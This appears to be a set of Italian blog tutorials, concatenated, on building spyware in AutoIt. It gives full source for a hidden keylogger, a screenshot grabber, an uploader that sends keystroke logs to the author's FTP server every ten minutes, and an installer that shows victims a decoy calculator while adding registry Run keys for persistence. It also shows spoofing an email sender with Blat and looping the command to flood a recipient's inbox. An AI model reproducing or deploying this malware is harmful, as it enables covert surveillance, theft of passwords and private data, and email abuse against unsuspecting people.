In molti spesso si affidano ad un keylogger, ovvero ad un programma che salva i tasti premuti in un file, per scoprire cosa avviene sul proprio computer (o cosa avviene sul PC di un ipotetica vittima) senza essere presenti. Allora perché non poter vedere anche lo schermo? Con il linguaggio AutoIt si può facilmente creare un programma che salvi le schermate in dei file.
La libreria da utilizzare è “screencapture”:
#Include <ScreenCapture.au3>
Il codice per lo script è piuttosto semplice:
DirCreate(@DesktopDir&"\screen")
While 1
_ScreenCapture_Capture(@DesktopDir&"\screen\screen"&$i&".jpg")
Sleep(10000)
$i = $i + 1
WEnd
Il programma crea la cartella “screen” sul Desktop di Windows e salva all’infinito una schermata ogni 10 secondi, in formato .jpg e con numero progressivo. Chiaramente un simile programma, se implementato magari in un Keylogger FTP renderà tutto più facile e visibile!
Potete scaricare qui il programma di prova, per chiuderlo usate la trayicon o premete ALT+E.
Blat è un programma a linea di comando per DOS (Disk Operating System) e può quindi essere incorporato all’interno delle applicazioni per Windows (In AutoIt con la funzione _RunDos). Download qui –>
La particolarità del programma è nel metodo utilizzato per inviare le mail: non richiede infatti la password di autenticazione per usare il server SMTP. Ora vedremo come inviare una mail con indirizzo falso utilizzando il server out.alice.it (nell’esempio useremo l’indirizzo “falso@live.it”, a dimostrazione della possibilità di usare qualsiasi indirizzo, anche inesistente).
Il comando da usare sarà il seguente, che ora commenterò:
Ovviamente il DOS dovrà essere stato posizionato nella cartella contenente blat (Ex. “cd C:\miacartella\”. Quindi avviamo il programma specificando il file di testo il cui contenuto costituirà il corpo del messaggio, l’oggetto della mail, il destinatario, il mittente e infine il server prima citato.
Nota per i programmatori: A questo punto basterà incorporare il comando in un linguaggio, come l’AutoIt e inserirlo in un ciclo While con un certo ritardo fra una mail e l’altra, se volete bloccare la casella del ricevente! AutoIt:
- While 1
- _RunDos(‘blat "C:\contenuto_messaggio.txt" –subject “Oggetto della mail” -t indirizzo@destinatario.com -f falso@live.it -server out.alice.it’)
- Sleep(1000)
- WEnd
In un precedente articolo avevamo esaminato il codice di un Keylogger in AutoIt, che ora integreremo con un secondo programma capace di caricare il file su un server FTP scelto da noi ogni 10 minuti, seguito da un file di installazione “camuffato”: mostreremo alle vittime una semplice calcolatrice mentre il nostro spyware (software spia) si occuperà di passarci tutto ciò che digitano. Vedremo anche come avviare il Keylogger in automatico all’avvio del PC.
Cominciamo con il file che trasferisce il log sul nostro FTP (Salvate questo codice—> come “ftp.au3” nella cartella Programmi\AutoIt3\include):
Nascondiamo la TrayIcon e includiamo i file necessari. Per comodità ho utilizzato una variabile contenente il percorso del file prodotto dal Keylogger, quindi ho dato inizio al ciclo infinito che innanzitutto crea il file vuoto al primo avvio, quindi aspetta 10 minuti (mentre il Keylogger fa il suo sporco lavoro) e si connette al server FTP specificato usando nome utente e password. Infine carichiamo il file rinominandolo (Nome PC + orario dell’upload) e lo eliminiamo (verrà ricreato al successivo passaggio del ciclo while).
#NoTrayIcon
#include <ftp.au3>
#include <file.au3>
$percorso = @WindowsDir&’\file.txt’
while 1
_FileCreate($percorso)
sleep (600000)
$server =’tuohosting.altervista.org’
$username =’tuousername’
$pass = ‘tuapass’
$Open = _FTPOpen(‘MyFTP Control’)
$Conn = _FTPConnect($Open, $server, $username, $pass)
$Ftpp = _FtpPutFile($Conn,$percorso,’/'&$vittima&’/'&@ComputerName&’-'&@HOUR&":"&@MIN&":"&@SEC&’.txt’)
$Ftpc = _FTPClose($Open)
FileDelete (@TempDir&’\Log.txt’)
Wend
Ora passiamo al file di installazione. Come al solito nascondiamo la TrayIcon, quindi copiamo il keylogger e il programma che carica i log sull’FTP (updater) nella directory di sistema e li eseguiamo. Per fare in modo che vengano eseguiti al riavvio del PC, creiamo 2 chiavi di registro sotto la voce “Run” che svolgano questa funzione.
#NoTrayIcon
#RequireAdmin
FileCopy("keylog.exe",@WindowsDir&"\keylogger.exe")
FileCopy("updat.exe",@WindowsDir&"\updater.exe")
run(@WindowsDir&"\keylogger.exe")
run(@WindowsDir&"\updater.exe")
RegWrite("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "justget","REG_SZ", @WindowsDir&"\updater.exe")
RegWrite("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "keyup","REG_SZ", @WindowsDir&"\keylogger.exe")
Per la calcolatrice potete aggiungere questo all’installer o usare uno dei tanti codici che si trovano sul Web.
In questo articolo vedremo come sia possibile realizzare un semplice keylogger in AutoIt, ovvero un programma che memorizzi in un file tutti i tasti premuti sulla tastiera. Vediamo di analizzare il codice pezzo per pezzo (troverete il codice completo alla fine dell’articolo).
Con l’istruzione “TraySetState(2)” rendiamo invisibile la traycon del nostro programma (che in AutoIt è normalmente visibile). “#include <misc.au3>”: Includiamo quindi misc.au3, che contiene la funzione _IsPressed, che ci servirà dopo.
Ora dichiariamo due array (insiemi di variabili), contenenti i codici esadecimali dei pulsanti della tastiera e i loro corrispondenti simboli:
Dim $Esadecimale[70]=['20','41','42','43','44','45','46','47','48','49','4A','4B','4C','4D','4E','4F','50','51','52','53','54','55','56','57','58','59','5A','30', '31','32','33','34','35','36','37','38','39','70','71','72','73','74','75','76','77','78','79','7A','7B','BA','BB','BC','BD','BE','BF','C0', 'DC','DB','DD','0D','10','11','12','1B','2C','2E','25','26','27','28']
Dim $Corrispondente[70]=[' ','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','[F1]‘,’[F2]‘,’[F3]‘, ‘[F4]‘,’[F5]‘,’[F6]‘,’[F7]‘,’[F8]‘,’[F9]‘,’[F10]‘,’[F11]‘,’[F12]‘,’è’,'+’,',’,'-’,’.’,'ù’,'ò’,'\’,”‘”,’ì’,’[INVIO]‘,’[SHIFT]‘,’[CTRL]‘,’[ALT]‘,’[ESC]‘,’[SCREEN]‘,’[CANC]‘,’[FRECCIA SINISTRA]‘,’[FRECCIA SU]‘,’[FRECCIA DESTRA]‘,’[FRECCIA GIU]‘]
All’interno di un ciclo While che eseguirà di continuo il nostro programma, mettiamo un ciclo for che controlli se viene premuto un pulsante e ne converta l’esadecimale in simbolo (scorrendo tutti gli elementi dell’aria). Quando viene premuto un pulsante, la funzione _IsPressed lo rileva, confronrando il codice il codice esadecimalecon l’array e memorizzandolo nella variabile i, quindi la funzione FileWrite memorizza il carattere corrispondente nel file “file.txt” nella directory di Windows (il file deve già esistere).
TraySetState(2)
#include<misc.au3>
Dim $Esadecimale[70]=['20','41','42','43','44','45','46','47','48','49','4A','4B','4C','4D','4E','4F','50','51','52','53','54','55','56','57','58','59', '5A','30','31','32','33','34','35','36','37','38','39','70','71','72','73','74','75','76','77','78','79','7A','7B','BA','BB','BC', 'BD','BE','BF','C0','DC','DB','DD','0D','10','11','12','1B','2C','2E','25','26','27','28']
Dim $Corrispondente[70]=[' ','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','[F1]‘,’[F2]‘,’[F3]‘,’[F4]‘, ‘[F5]‘,’[F6]‘,’[F7]‘,’[F8]‘,’[F9]‘,’[F10]‘,’[F11]‘,’[F12]‘,’è’,'+’,',’,'-’,’.’,'ù’,'ò’,'\’,”‘”,’ì’,’[INVIO]‘,’[SHIFT]‘,’[CTRL]‘,’[ALT]‘,’[ESC]‘,’[SCREEN]‘,’[CANC]‘,’[FRECCIA SINISTRA]‘,’[FRECCIA SU]‘,’[FRECCIA DESTRA]‘,’[FRECCIA GIU]‘]
while 1
for $i=0 to 69
If _IsPressed($Esadecimale[$i])Then
FileWrite (@WindowsDir&”\file.txt”,$Corrispondente[$i])
EndIf
next
WEnd